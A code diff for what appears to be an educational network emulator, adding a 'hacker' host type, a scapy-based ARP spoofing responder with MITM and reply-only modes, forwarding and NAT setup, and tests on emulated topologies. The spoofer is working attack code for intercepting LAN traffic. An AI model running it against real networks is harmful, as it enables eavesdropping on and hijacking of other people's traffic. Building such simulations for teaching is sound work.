diff --git a/.gitignore b/.gitignore index 0f6a4998..aaa480f3 100644 --- a/.gitignore +++ b/.gitignore @@ -10,4 +10,5 @@ back/rabbitmq/rabbitmq/ .env *.log *.ini -front/rabbitmq/rabbitmq \ No newline at end of file +front/rabbitmq/rabbitmq +venv \ No newline at end of file diff --git a/back/requirements.txt b/back/requirements.txt index 0c083992..7e978fcc 100644 --- a/back/requirements.txt +++ b/back/requirements.txt @@ -4,4 +4,5 @@ python-dotenv==1.1.1 marshmallow_dataclass==8.7.1 psutil==7.0.0 netaddr==1.3.0 -ipmininet @ git+https://github.com/mimi-net/ipmininet.git@1.2.4 \ No newline at end of file +scapy==2.7.0 +ipmininet @ git+https://github.com/mimi-net/ipmininet.git@1.2.5 diff --git a/back/src/arp_spoofer.py b/back/src/arp_spoofer.py new file mode 100644 index 00000000..c6fa6330 --- /dev/null +++ b/back/src/arp_spoofer.py @@ -0,0 +1,75 @@ +import argparse + +from scapy.all import conf, get_if_hwaddr, sendp, sniff +from scapy.layers.l2 import ARP, Ether + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="ARP spoof responder") + parser.add_argument("--iface", required=True) + parser.add_argument("--victim-ip", required=True) + parser.add_argument("--spoofed-ip", required=True) + parser.add_argument("--mode", choices=("mitm", "reply_only"), default="mitm") + return parser.parse_args() + + +def build_arp_reply( + source_mac: str, source_ip: str, target_mac: str, target_ip: str +) -> Ether: + return Ether(dst=target_mac, src=source_mac) / ARP( + op=2, + hwsrc=source_mac, + psrc=source_ip, + hwdst=target_mac, + pdst=target_ip, + ) + + +def main() -> None: + args = parse_args() + conf.use_pcap = False + hacker_mac = get_if_hwaddr(args.iface).lower() + + def handle_packet(packet) -> None: + if ARP not in packet: + return + + arp_packet = packet[ARP] + if arp_packet.op != 1: + return + + sender_mac = arp_packet.hwsrc.lower() + sender_ip = arp_packet.psrc + target_ip = arp_packet.pdst + + if sender_mac == hacker_mac: + return + + if sender_ip == args.victim_ip and target_ip == args.spoofed_ip: + sendp( + build_arp_reply( + hacker_mac, args.spoofed_ip, sender_mac, args.victim_ip + ), + iface=args.iface, + verbose=False, + ) + return + + if ( + args.mode == "mitm" + and sender_ip == args.spoofed_ip + and target_ip == args.victim_ip + ): + sendp( + build_arp_reply( + hacker_mac, args.victim_ip, sender_mac, args.spoofed_ip + ), + iface=args.iface, + verbose=False, + ) + + sniff(iface=args.iface, filter="arp", store=False, prn=handle_packet) + + +if __name__ == "__main__": + main() diff --git a/back/src/emulator.py b/back/src/emulator.py index 3a91e2b4..b6d7c8c0 100644 --- a/back/src/emulator.py +++ b/back/src/emulator.py @@ -6,7 +6,7 @@ import dpkt from ipmininet.ipnet import IPNet -from jobs import Jobs +from jobs import Jobs, SLEEP_JOB_ID from network import MiminetNetwork from network_schema import Job, Network from pkt_parser import create_pkt_animation @@ -36,7 +36,7 @@ def emulate( f"Превышен лимит! В сети максимальное количество команд ({MAX_JOBS_COUNT}). " f"Текущее количество: {len(network.jobs)}" ) - sleep_jobs = [j for j in network.jobs if j.job_id == 7] + sleep_jobs = [j for j in network.jobs if j.job_id == SLEEP_JOB_ID] total_time = sum(int(j.arg_1) for j in sleep_jobs) if total_time > 60 or total_time < 0: raise ValueError( diff --git a/back/src/jobs.py b/back/src/jobs.py index 7046a302..b35e774d 100755 --- a/back/src/jobs.py +++ b/back/src/jobs.py @@ -1,7 +1,9 @@ import ipaddress import re import shlex +import sys import time +from pathlib import Path from typing import Any, Callable, Dict, List from ipmininet.host.config.dnsmasq import Dnsmasq @@ -9,6 +11,38 @@ from netaddr import EUI, AddrFormatError from network_schema import Job +PING_JOB_ID = 1 +PING_WITH_OPTIONS_JOB_ID = 2 +SEND_UDP_DATA_JOB_ID = 3 +SEND_TCP_DATA_JOB_ID = 4 +TRACEROUTE_JOB_ID = 5 +LINK_DOWN_JOB_ID = 6 +SLEEP_JOB_ID = 7 + +IP_ADDR_ADD_JOB_ID = 100 +NAT_JOB_ID = 101 +ADD_ROUTE_JOB_ID = 102 +ARP_CACHE_ADD_JOB_ID = 103 +SUBINTERFACE_VLAN_JOB_ID = 104 +IPIP_TUNNEL_JOB_ID = 105 +GRE_TUNNEL_JOB_ID = 106 +ARP_PROXY_JOB_ID = 107 +DHCP_CLIENT_JOB_ID = 108 +PORT_FORWARDING_TCP_JOB_ID = 109 +PORT_FORWARDING_UDP_JOB_ID = 110 + +OPEN_UDP_SERVER_JOB_ID = 200 +OPEN_TCP_SERVER_JOB_ID = 201 +BLOCK_TCP_UDP_PORT_JOB_ID = 202 +DHCP_SERVER_JOB_ID = 203 +ARP_SPOOF_JOB_ID = 205 + + +ARP_SPOOFER_SCRIPT = shlex.quote( + str(Path(__file__).resolve().with_name("arp_spoofer.py")) +) +ARP_SPOOFER_PYTHON = shlex.quote(sys.executable) + def filter_arg_for_options( arg: str, flags_without_args: List[str], flags_with_args: Dict[str, str] @@ -217,6 +251,20 @@ def valid_sleep(time) -> bool: return True +def arp_spoof_checker(interface: str, victim_ip: str, spoofed_ip: str) -> bool: + """Validate minimal ARP spoofing arguments.""" + return ( + valid_iface(interface) + and valid_ip(victim_ip) + and valid_ip(spoofed_ip) + and victim_ip != spoofed_ip + ) + + +def arp_spoof_mode_checker(mode: str) -> bool: + return mode in ("mitm", "reply_only", "") + + def link_down_handler(job: Job, job_host: Any) -> None: arg_interface = job.arg_1 if not net_dev_checker(arg_interface): @@ -423,6 +471,39 @@ def arp_handler(job: Job, job_host: Any) -> None: job_host.cmd(f"arp -s {arg_ip} {arg_mac}") +def arp_spoof_handler(job: Job, job_host: Any) -> None: + """Start an ARP responder that sends forged replies to matching ARP requests.""" + arg_hacker_iface = job.arg_1 + arg_victim_ip = job.arg_2 + arg_spoofed_ip = job.arg_3 + arg_mode = job.arg_4 if isinstance(job.arg_4, str) and job.arg_4 else "mitm" + + if not arp_spoof_checker(arg_hacker_iface, arg_victim_ip, arg_spoofed_ip): + return + if not arp_spoof_mode_checker(arg_mode): + return + + if arg_mode == "mitm": + job_host.cmd("sysctl -w net.ipv4.conf.all.send_redirects=0") + job_host.cmd("sysctl -w net.ipv4.conf.all.rp_filter=0") + job_host.cmd( + f"iptables -t nat -A POSTROUTING -o {arg_hacker_iface} -j MASQUERADE" + ) + job_host.cmd("iptables -P FORWARD ACCEPT") + else: + job_host.cmd("sysctl -w net.ipv4.ip_forward=0") + + job_host.cmd( + f"nohup {ARP_SPOOFER_PYTHON} -u {ARP_SPOOFER_SCRIPT} " + f"--iface {arg_hacker_iface} " + f"--victim-ip {arg_victim_ip} " + f"--spoofed-ip {arg_spoofed_ip} " + f"--mode {arg_mode} " + "> /dev/null 2>&1 < /dev/null &" + ) + time.sleep(1) + + def subinterface_with_vlan(job: Job, job_host: Any) -> None: """Method for adding subinterface with vlan""" arg_intf = job.arg_1 @@ -547,28 +628,29 @@ def __init__(self, job: Job, job_host: Any, **kwargs) -> None: # Dictionary for storing strategies # (At the moment this is used since each command on the application server is encoded by a number) self._dct: dict[int, Callable[[Job, Any], None]] = { - 1: ping_handler, - 2: ping_with_options_handler, - 3: sending_udp_data_handler, - 4: sending_tcp_data_handler, - 5: traceroute_handler, - 6: link_down_handler, - 7: sleep_handler, - 100: ip_addr_add_handler, - 101: iptables_handler, - 102: ip_route_add_handler, - 103: arp_handler, - 104: subinterface_with_vlan, - 105: add_ipip_interface, - 106: add_gre, - 107: arp_proxy_enable, - 108: dhcp_client, - 109: port_forwarding_tcp_handler, - 110: port_forwarding_udp_handler, - 200: open_udp_server_handler, - 201: open_tcp_server_handler, - 202: block_tcp_udp_port, - 203: dhcp_server, + PING_JOB_ID: ping_handler, + PING_WITH_OPTIONS_JOB_ID: ping_with_options_handler, + SEND_UDP_DATA_JOB_ID: sending_udp_data_handler, + SEND_TCP_DATA_JOB_ID: sending_tcp_data_handler, + TRACEROUTE_JOB_ID: traceroute_handler, + LINK_DOWN_JOB_ID: link_down_handler, + SLEEP_JOB_ID: sleep_handler, + IP_ADDR_ADD_JOB_ID: ip_addr_add_handler, + NAT_JOB_ID: iptables_handler, + ADD_ROUTE_JOB_ID: ip_route_add_handler, + ARP_CACHE_ADD_JOB_ID: arp_handler, + ARP_SPOOF_JOB_ID: arp_spoof_handler, + SUBINTERFACE_VLAN_JOB_ID: subinterface_with_vlan, + IPIP_TUNNEL_JOB_ID: add_ipip_interface, + GRE_TUNNEL_JOB_ID: add_gre, + ARP_PROXY_JOB_ID: arp_proxy_enable, + DHCP_CLIENT_JOB_ID: dhcp_client, + PORT_FORWARDING_TCP_JOB_ID: port_forwarding_tcp_handler, + PORT_FORWARDING_UDP_JOB_ID: port_forwarding_udp_handler, + OPEN_UDP_SERVER_JOB_ID: open_udp_server_handler, + OPEN_TCP_SERVER_JOB_ID: open_tcp_server_handler, + BLOCK_TCP_UDP_PORT_JOB_ID: block_tcp_udp_port, + DHCP_SERVER_JOB_ID: dhcp_server, } self._job: Job = job self._job_host = job_host diff --git a/back/src/network_topology.py b/back/src/network_topology.py index 2eac9af4..7a6649fa 100644 --- a/back/src/network_topology.py +++ b/back/src/network_topology.py @@ -56,6 +56,8 @@ def __handle_node(self, node: Node): self.__handle_l1_hub(node_id) elif node_type == NodeType.ROUTER: self.__handle_router(node_id, config) + elif node_type == NodeType.HACKER: + self.__handle_host_or_server(node_id, config) else: print(f"Unknown node type: {node_type}") return @@ -83,7 +85,7 @@ def __handle_l2_switch(self, node_id: str, config: NodeConfig): def __handle_host_or_server(self, node_id: str, config: NodeConfig): default_gw = config.default_gw route = f"via {default_gw}" if default_gw else "" - self.__nodes[node_id] = self.addHost(node_id, defaultRoute=route) + self.__nodes[node_id] = self.addHost(node_id, defaultRoute=route, cwd="/tmp") def __handle_l1_hub(self, node_id: str): self.__nodes[node_id] = self.addSwitch( diff --git a/back/src/node_types.py b/back/src/node_types.py index 4c6d8bf5..8d101f24 100644 --- a/back/src/node_types.py +++ b/back/src/node_types.py @@ -11,3 +11,4 @@ class NodeType(str, Enum): SWITCH = "l2_switch" HUB = "l1_hub" ROUTER = "router" + HACKER = "hacker" diff --git a/back/tests/network_examples_json/arp_spoofing_mitm_network.json b/back/tests/network_examples_json/arp_spoofing_mitm_network.json new file mode 100644 index 00000000..42628c19 --- /dev/null +++ b/back/tests/network_examples_json/arp_spoofing_mitm_network.json @@ -0,0 +1,99 @@ +{ + "jobs": [ + { + "id": "job_arp_spoof", + "level": 0, + "job_id": 205, + "host_id": "hacker_1", + "arg_1": "iface_30000002", + "arg_2": "192.168.1.10", + "arg_3": "192.168.1.1", + "arg_4": "mitm", + "print_cmd": "ARP Spoofing MITM -> 192.168.1.10" + }, + { + "id": "job_ping_router", + "level": 1, + "job_id": 1, + "host_id": "host_1", + "arg_1": "192.168.1.1", + "print_cmd": "ping -c 1 192.168.1.1" + } + ], + "nodes": [ + { + "classes": ["host"], + "config": {"default_gw": "192.168.1.1", "label": "host_1", "type": "host"}, + "data": {"id": "host_1", "label": "host_1"}, + "interface": [ + { + "connect": "edge_arp_host_switch", + "id": "iface_30000001", + "ip": "192.168.1.10", + "name": "iface_30000001", + "netmask": 24 + } + ], + "position": {"x": 50, "y": 50} + }, + { + "classes": ["hacker"], + "config": {"default_gw": "", "label": "hacker_1", "type": "hacker"}, + "data": {"id": "hacker_1", "label": "hacker_1"}, + "interface": [ + { + "connect": "edge_arp_hacker_switch", + "id": "iface_30000002", + "ip": "192.168.1.66", + "name": "iface_30000002", + "netmask": 24 + } + ], + "position": {"x": 120, "y": 30} + }, + { + "classes": ["l2_switch"], + "config": {"label": "l2sw1", "stp": 0, "type": "l2_switch"}, + "data": {"id": "l2sw1", "label": "l2sw1"}, + "interface": [ + {"connect": "edge_arp_host_switch", "id": "l2sw1_1", "name": "l2sw1_1"}, + {"connect": "edge_arp_hacker_switch", "id": "l2sw1_2", "name": "l2sw1_2"}, + {"connect": "edge_arp_switch_backbone", "id": "l2sw1_3", "name": "l2sw1_3"} + ], + "position": {"x": 120, "y": 90} + }, + { + "classes": ["l2_switch"], + "config": {"label": "l2sw2", "stp": 0, "type": "l2_switch"}, + "data": {"id": "l2sw2", "label": "l2sw2"}, + "interface": [ + {"connect": "edge_arp_switch_backbone", "id": "l2sw2_1", "name": "l2sw2_1"}, + {"connect": "edge_arp_router_switch", "id": "l2sw2_2", "name": "l2sw2_2"} + ], + "position": {"x": 180, "y": 90} + }, + { + "classes": ["l3_router"], + "config": {"default_gw": "", "label": "router_1", "type": "router"}, + "data": {"id": "router_1", "label": "router_1"}, + "interface": [ + { + "connect": "edge_arp_router_switch", + "id": "iface_30000003", + "ip": "192.168.1.1", + "name": "iface_30000003", + "netmask": 24 + } + ], + "position": {"x": 190, "y": 50} + } + ], + "edges": [ + {"data": {"id": "edge_arp_host_switch", "source": "host_1", "target": "l2sw1", "loss_percentage": 0, "duplicate_percentage": 0}}, + {"data": {"id": "edge_arp_hacker_switch", "source": "hacker_1", "target": "l2sw1", "loss_percentage": 0, "duplicate_percentage": 0}}, + {"data": {"id": "edge_arp_switch_backbone", "source": "l2sw1", "target": "l2sw2", "loss_percentage": 0, "duplicate_percentage": 0}}, + {"data": {"id": "edge_arp_router_switch", "source": "router_1", "target": "l2sw2", "loss_percentage": 0, "duplicate_percentage": 0}} + ], + "config": {"zoom": 1, "pan_x": 0, "pan_y": 0}, + "pcap": [] +} diff --git a/back/tests/network_examples_json/arp_spoofing_reply_only_network.json b/back/tests/network_examples_json/arp_spoofing_reply_only_network.json new file mode 100644 index 00000000..62936f44 --- /dev/null +++ b/back/tests/network_examples_json/arp_spoofing_reply_only_network.json @@ -0,0 +1,99 @@ +{ + "jobs": [ + { + "id": "job_arp_spoof", + "level": 0, + "job_id": 205, + "host_id": "hacker_1", + "arg_1": "iface_30000002", + "arg_2": "192.168.1.10", + "arg_3": "192.168.1.1", + "arg_4": "reply_only", + "print_cmd": "ARP Spoofing -> 192.168.1.10" + }, + { + "id": "job_ping_router", + "level": 1, + "job_id": 1, + "host_id": "host_1", + "arg_1": "192.168.1.1", + "print_cmd": "ping -c 1 192.168.1.1" + } + ], + "nodes": [ + { + "classes": ["host"], + "config": {"default_gw": "192.168.1.1", "label": "host_1", "type": "host"}, + "data": {"id": "host_1", "label": "host_1"}, + "interface": [ + { + "connect": "edge_arp_host_switch", + "id": "iface_30000001", + "ip": "192.168.1.10", + "name": "iface_30000001", + "netmask": 24 + } + ], + "position": {"x": 50, "y": 50} + }, + { + "classes": ["hacker"], + "config": {"default_gw": "", "label": "hacker_1", "type": "hacker"}, + "data": {"id": "hacker_1", "label": "hacker_1"}, + "interface": [ + { + "connect": "edge_arp_hacker_switch", + "id": "iface_30000002", + "ip": "192.168.1.66", + "name": "iface_30000002", + "netmask": 24 + } + ], + "position": {"x": 120, "y": 30} + }, + { + "classes": ["l2_switch"], + "config": {"label": "l2sw1", "stp": 0, "type": "l2_switch"}, + "data": {"id": "l2sw1", "label": "l2sw1"}, + "interface": [ + {"connect": "edge_arp_host_switch", "id": "l2sw1_1", "name": "l2sw1_1"}, + {"connect": "edge_arp_hacker_switch", "id": "l2sw1_2", "name": "l2sw1_2"}, + {"connect": "edge_arp_switch_backbone", "id": "l2sw1_3", "name": "l2sw1_3"} + ], + "position": {"x": 120, "y": 90} + }, + { + "classes": ["l2_switch"], + "config": {"label": "l2sw2", "stp": 0, "type": "l2_switch"}, + "data": {"id": "l2sw2", "label": "l2sw2"}, + "interface": [ + {"connect": "edge_arp_switch_backbone", "id": "l2sw2_1", "name": "l2sw2_1"}, + {"connect": "edge_arp_router_switch", "id": "l2sw2_2", "name": "l2sw2_2"} + ], + "position": {"x": 180, "y": 90} + }, + { + "classes": ["l3_router"], + "config": {"default_gw": "", "label": "router_1", "type": "router"}, + "data": {"id": "router_1", "label": "router_1"}, + "interface": [ + { + "connect": "edge_arp_router_switch", + "id": "iface_30000003", + "ip": "192.168.1.1", + "name": "iface_30000003", + "netmask": 24 + } + ], + "position": {"x": 190, "y": 50} + } + ], + "edges": [ + {"data": {"id": "edge_arp_host_switch", "source": "host_1", "target": "l2sw1", "loss_percentage": 0, "duplicate_percentage": 0}}, + {"data": {"id": "edge_arp_hacker_switch", "source": "hacker_1", "target": "l2sw1", "loss_percentage": 0, "duplicate_percentage": 0}}, + {"data": {"id": "edge_arp_switch_backbone", "source": "l2sw1", "target": "l2sw2", "loss_percentage": 0, "duplicate_percentage": 0}}, + {"data": {"id": "edge_arp_router_switch", "source": "router_1", "target": "l2sw2", "loss_percentage": 0, "duplicate_percentage": 0}} + ], + "config": {"zoom": 1, "pan_x": 0, "pan_y": 0}, + "pcap": [] +} diff --git a/back/tests/test_arp_spoofing.py b/back/tests/test_arp_spoofing.py new file mode 100644 index 00000000..0752ae11 --- /dev/null +++ b/back/tests/test_arp_spoofing.py @@ -0,0 +1,75 @@ +from src.jobs import ARP_SPOOF_JOB_ID, Jobs +from src.network_schema import Job + + +class FakeNode: + def __init__(self, name: str): + self.name = name + self.commands: list[str] = [] + + def cmd(self, command: str) -> str: + self.commands.append(command) + return "" + + +def build_job(**kwargs) -> Job: + return Job( + id="job-arp-spoof", + level=0, + job_id=ARP_SPOOF_JOB_ID, + host_id="hacker_1", + print_cmd="ARP spoof test", + arg_1=kwargs.get("arg_1", "hacker_1-eth0"), + arg_2=kwargs.get("arg_2", "192.168.1.10"), + arg_3=kwargs.get("arg_3", "192.168.1.1"), + arg_4=kwargs.get("arg_4", "mitm"), + ) + + +def test_arp_spoof_job_starts_responder_and_enables_forwarding(): + hacker = FakeNode("hacker_1") + + Jobs(build_job(), hacker).handler() + + assert "sysctl -w net.ipv4.conf.all.send_redirects=0" in hacker.commands + assert "sysctl -w net.ipv4.conf.all.rp_filter=0" in hacker.commands + assert "sysctl -w net.ipv4.conf.default.send_redirects=0" not in hacker.commands + assert ( + "sysctl -w net.ipv4.conf.hacker_1-eth0.send_redirects=0" not in hacker.commands + ) + assert "sysctl -w net.ipv4.conf.hacker_1-eth0.rp_filter=0" not in hacker.commands + assert "iptables -P FORWARD ACCEPT" in hacker.commands + assert any("arp_spoofer.py" in command for command in hacker.commands) + assert any("--mode mitm" in command for command in hacker.commands) + + +def test_arp_spoof_job_reply_only_mode_starts_responder_without_forwarding(): + hacker = FakeNode("hacker_1") + + Jobs(build_job(arg_4="reply_only"), hacker).handler() + + assert "iptables -P FORWARD ACCEPT" not in hacker.commands + assert "sysctl -w net.ipv4.conf.all.send_redirects=0" not in hacker.commands + assert any("--mode reply_only" in command for command in hacker.commands) + + +def test_arp_spoof_job_does_nothing_for_invalid_arguments(): + hacker = FakeNode("hacker_1") + + invalid_job = build_job( + arg_1="bad iface", arg_2="192.168.1.10", arg_3="192.168.1.1" + ) + + Jobs(invalid_job, hacker).handler() + + assert hacker.commands == [] + + +def test_arp_spoof_job_does_nothing_for_invalid_mode(): + hacker = FakeNode("hacker_1") + + invalid_mode_job = build_job(arg_4="unexpected_mode") + + Jobs(invalid_mode_job, hacker).handler() + + assert hacker.commands == [] diff --git a/back/tests/test_arp_spoofing_integration.py b/back/tests/test_arp_spoofing_integration.py new file mode 100644 index 00000000..c8b79bd9 --- /dev/null +++ b/back/tests/test_arp_spoofing_integration.py @@ -0,0 +1,92 @@ +import json +from pathlib import Path + +from src.tasks import run_miminet + + +TEST_JSON_DIR = Path("network_examples_json/") + + +def load_file(filename: str) -> str: + return (TEST_JSON_DIR / filename).read_text() + + +def flatten_packets(animation_json: str) -> list[dict]: + animation = json.loads(animation_json) + return [packet for group in animation for packet in group] + + +def packets_by_label_and_path( + packets: list[dict], label_prefix: str, path: str +) -> list[dict]: + return [ + pkt + for pkt in packets + if pkt.get("data", {}).get("label", "").startswith(label_prefix) + and pkt.get("config", {}).get("path") == path + ] + + +def packets_by_label_path_and_source( + packets: list[dict], label_prefix: str, path: str, source: str +) -> list[dict]: + return [ + pkt + for pkt in packets + if pkt.get("data", {}).get("label", "").startswith(label_prefix) + and pkt.get("config", {}).get("path") == path + and pkt.get("config", {}).get("source") == source + ] + + +def test_arp_spoofing_mitm_routes_icmp_through_hacker(): + net_json = load_file("arp_spoofing_mitm_network.json") + animation_json, _ = run_miminet(net_json) + packets = flatten_packets(animation_json) + + assert packets_by_label_path_and_source( + packets, "ARP-response", "edge_arp_hacker_switch", "hacker_1" + ), "MITM mode should emit a spoofed ARP response from hacker" + assert packets_by_label_and_path( + packets, "ICMP echo-request", "edge_arp_hacker_switch" + ), "MITM mode should route ICMP echo-request through hacker edge" + assert packets_by_label_and_path( + packets, "ICMP echo-reply", "edge_arp_hacker_switch" + ), "MITM mode should route ICMP echo-reply through hacker edge" + assert packets_by_label_and_path( + packets, "ICMP echo-reply", "edge_arp_host_switch" + ), "MITM mode should still deliver echo-reply back to host" + + +def test_arp_spoofing_reply_only_sends_spoofed_arp_without_mitm_forwarding(): + net_json = load_file("arp_spoofing_reply_only_network.json") + animation_json, _ = run_miminet(net_json) + packets = flatten_packets(animation_json) + + assert packets_by_label_path_and_source( + packets, "ARP-response", "edge_arp_hacker_switch", "hacker_1" + ), "Reply-only mode should emit a spoofed ARP response from hacker" + assert packets_by_label_path_and_source( + packets, "ARP-response", "edge_arp_host_switch", "l2sw1" + ), "Reply-only mode should deliver ARP responses toward host" + host_arp_responses = packets_by_label_and_path( + packets, "ARP-response", "edge_arp_host_switch" + ) + host_arp_response_labels = { + pkt.get("data", {}).get("label", "") for pkt in host_arp_responses + } + assert ( + len(host_arp_response_labels) >= 2 + ), "Reply-only mode should expose host to both router and hacker ARP responses" + assert packets_by_label_and_path( + packets, "ICMP echo-request", "edge_arp_hacker_switch" + ), "Reply-only mode should attract ICMP echo-request to hacker" + assert not packets_by_label_and_path( + packets, "ICMP echo-request", "edge_arp_router_switch" + ), "Reply-only mode should not forward ICMP echo-request to router" + assert not packets_by_label_and_path( + packets, "ICMP echo-reply", "edge_arp_hacker_switch" + ), "Reply-only mode should not route ICMP echo-reply through hacker" + assert not packets_by_label_and_path( + packets, "ICMP echo-reply", "edge_arp_host_switch" + ), "Reply-only mode should not deliver ICMP echo-reply back to host" diff --git a/front/src/app.py b/front/src/app.py index 69893275..4e543e60 100644 --- a/front/src/app.py +++ b/front/src/app.py @@ -60,6 +60,7 @@ delete_job, save_edge_config, save_host_config, + save_host_hacker_config, save_hub_config, save_textbox_config, save_router_config, @@ -307,6 +308,11 @@ def get_database_uri(mode): app.add_url_rule( "/host/save_config", methods=["GET", "POST"], view_func=save_host_config ) +app.add_url_rule( + "/host_hacker/save_config", + methods=["GET", "POST"], + view_func=save_host_hacker_config, +) app.add_url_rule( "/host/router_save_config", methods=["GET", "POST"], view_func=save_router_config ) @@ -332,6 +338,7 @@ def get_database_uri(mode): # MimiShark app.add_url_rule("/host/mimishark", methods=["GET"], view_func=mimishark_page) +app.add_url_rule("/host_hacker/mimishark", methods=["GET"], view_func=mimishark_page) app.add_url_rule("/router/mimishark", methods=["GET"], view_func=mimishark_page) app.add_url_rule("/server/mimishark", methods=["GET"], view_func=mimishark_page) app.add_url_rule("/hub/mimishark", methods=["GET"], view_func=mimishark_page) diff --git a/front/src/configurators.py b/front/src/configurators.py index 2b27ef68..a029caf0 100644 --- a/front/src/configurators.py +++ b/front/src/configurators.py @@ -7,6 +7,7 @@ from celery_app import app from flask import Response, jsonify, make_response, request from flask_login import current_user +from miminet_config import ARP_SPOOF_JOB_ID, SLEEP_JOB_ID from miminet_model import Network, Simulate, db @@ -145,11 +146,21 @@ def configure(self) -> dict[str, object]: # insert arguments into label string command_label: str = self.__print_cmd + label_args = configured_args.copy() + + if self.__job_id == ARP_SPOOF_JOB_ID and len(label_args) > 3: + if label_args[3] == "mitm": + label_args[3] = "ARP Spoofing MITM" + elif label_args[3] == "reply_only": + label_args[3] = "ARP Spoofing" for i, conf_arg in enumerate(configured_args): if conf_arg is None: # check whether the arguments passed the checks raise ArgCheckError(self.__args[i].error_msg) - command_label = command_label.replace(f"[{i}]", conf_arg) + label_arg = label_args[i] + if label_arg is None: + raise ArgCheckError(self.__args[i].error_msg) + command_label = command_label.replace(f"[{i}]", label_arg) response = { "id": random_id, @@ -267,7 +278,7 @@ def _conf_label_update(self): class AbstractDeviceConfigurator(AbstractNodeConfigurator): __MAX_JOBS_COUNT: int = 30 - __SLEEP_JOB_ID: int = 7 + __SLEEP_JOB_ID: int = SLEEP_JOB_ID __MAX_SLEEP_TIME: int = 60 def __init__(self, device_type: str): @@ -298,6 +309,11 @@ def _conf_jobs(self): if job_id not in self.__jobs.keys(): return # if user didn't select job + if job_id == ARP_SPOOF_JOB_ID and self._node["config"].get("type") != "hacker": + raise ConfigurationError( + 'Команда "ARP spoofing / ARP cache poisoning" доступна только хосту-хакеру' + ) + editing_job_id = get_data("editing_job_id") jobs_list = self._json_network["jobs"] @@ -527,6 +543,13 @@ def _configure(self): return res +class HostHackerConfigurator(HostConfigurator): + # hacker has the same base configuration method as host + def __init__(self): + super().__init__() + self._device_type = "host_hacker" + + class RouterConfigurator(HostConfigurator): # router has the same configuration method as host def __init__(self): diff --git a/front/src/miminet_config.py b/front/src/miminet_config.py index d7820c38..e75280ba 100644 --- a/front/src/miminet_config.py +++ b/front/src/miminet_config.py @@ -21,6 +21,42 @@ SQLITE_DATABASE_BACKUP_NAME = "backup_" + current_data + ".db" +PING_JOB_ID = 1 +PING_WITH_OPTIONS_JOB_ID = 2 +SEND_UDP_DATA_JOB_ID = 3 +SEND_TCP_DATA_JOB_ID = 4 +TRACEROUTE_JOB_ID = 5 +LINK_DOWN_JOB_ID = 6 +SLEEP_JOB_ID = 7 + +IP_ADDR_ADD_JOB_ID = 100 +NAT_JOB_ID = 101 +ADD_ROUTE_JOB_ID = 102 +ARP_CACHE_ADD_JOB_ID = 103 +SUBINTERFACE_VLAN_JOB_ID = 104 +IPIP_TUNNEL_JOB_ID = 105 +GRE_TUNNEL_JOB_ID = 106 +ARP_PROXY_JOB_ID = 107 +DHCP_CLIENT_JOB_ID = 108 +PORT_FORWARDING_TCP_JOB_ID = 109 +PORT_FORWARDING_UDP_JOB_ID = 110 + +OPEN_UDP_SERVER_JOB_ID = 200 +OPEN_TCP_SERVER_JOB_ID = 201 +BLOCK_TCP_UDP_PORT_JOB_ID = 202 +DHCP_SERVER_JOB_ID = 203 +ARP_SPOOF_JOB_ID = 205 + +EXCLUDED_JOB_IDS = ( + PING_JOB_ID, + PING_WITH_OPTIONS_JOB_ID, + SEND_UDP_DATA_JOB_ID, + SEND_TCP_DATA_JOB_ID, + OPEN_UDP_SERVER_JOB_ID, + OPEN_TCP_SERVER_JOB_ID, +) + + def make_empty_network(): return ( '{"nodes" : [], "edges" : [], "jobs" : [], "config" : {"zoom" : 2, "pan_x": 0 ,' diff --git a/front/src/miminet_host.py b/front/src/miminet_host.py index d3b6de04..bd208104 100755 --- a/front/src/miminet_host.py +++ b/front/src/miminet_host.py @@ -7,6 +7,7 @@ from configurators import ( EdgeConfigurator, HostConfigurator, + HostHackerConfigurator, HubConfigurator, TextboxConfigurator, RouterConfigurator, @@ -16,6 +17,31 @@ ) from flask import Response, jsonify, make_response, request from flask_jwt_extended import get_jwt_identity, jwt_required +from miminet_config import ( + ADD_ROUTE_JOB_ID, + ARP_CACHE_ADD_JOB_ID, + ARP_PROXY_JOB_ID, + ARP_SPOOF_JOB_ID, + BLOCK_TCP_UDP_PORT_JOB_ID, + DHCP_CLIENT_JOB_ID, + DHCP_SERVER_JOB_ID, + GRE_TUNNEL_JOB_ID, + IPIP_TUNNEL_JOB_ID, + IP_ADDR_ADD_JOB_ID, + LINK_DOWN_JOB_ID, + NAT_JOB_ID, + OPEN_TCP_SERVER_JOB_ID, + OPEN_UDP_SERVER_JOB_ID, + PING_JOB_ID, + PING_WITH_OPTIONS_JOB_ID, + PORT_FORWARDING_TCP_JOB_ID, + PORT_FORWARDING_UDP_JOB_ID, + SEND_TCP_DATA_JOB_ID, + SEND_UDP_DATA_JOB_ID, + SLEEP_JOB_ID, + SUBINTERFACE_VLAN_JOB_ID, + TRACEROUTE_JOB_ID, +) from miminet_model import Network, Simulate, db # ------ Argument Validators ------ @@ -184,6 +210,7 @@ def build_error(error_type: str, cmd: str) -> str: hub = HubConfigurator() switch = SwitchConfigurator() host = HostConfigurator() +host_hacker = HostHackerConfigurator() router = RouterConfigurator() server = ServerConfigurator() edge = EdgeConfigurator() @@ -194,13 +221,13 @@ def build_error(error_type: str, cmd: str) -> str: # ~ ~ ~ HOST JOBS ~ ~ ~ # ping -c 1 (1 param) -host_ping_job = host.create_job(1, "ping -c 1 [0]") +host_ping_job = host.create_job(PING_JOB_ID, "ping -c 1 [0]") host_ping_job.add_param("config_host_ping_c_1_ip").add_check(IPv4_check).set_error_msg( build_error(ErrorType.ip, "ping") ) # ping -c 1 (with options) -host_ping_opt_job = host.create_job(2, "ping -c 1 [0] [1]") +host_ping_opt_job = host.create_job(PING_WITH_OPTIONS_JOB_ID, "ping -c 1 [0] [1]") host_ping_opt_job.add_param( "config_host_ping_with_options_options_input_field" ).add_check(ascii_check).add_filter(ping_options_filter).set_error_msg( @@ -211,7 +238,7 @@ def build_error(error_type: str, cmd: str) -> str: ).set_error_msg(build_error(ErrorType.ip, "ping (с опциями)")) # send UDP data -host_udp_job = host.create_job(3, "send -s [0] -p udp [1]:[2]") +host_udp_job = host.create_job(SEND_UDP_DATA_JOB_ID, "send -s [0] -p udp [1]:[2]") host_udp_job.add_param("config_host_send_udp_data_size_input_field").add_check( data_size_check ).set_error_msg(build_error(ErrorType.data_size, "Отправить данные (UDP)")) @@ -223,7 +250,7 @@ def build_error(error_type: str, cmd: str) -> str: ).set_error_msg(build_error(ErrorType.port, "Отправить данные (UDP)")) # send TCP data -host_tcp_job = host.create_job(4, "send -s [0] -p tcp 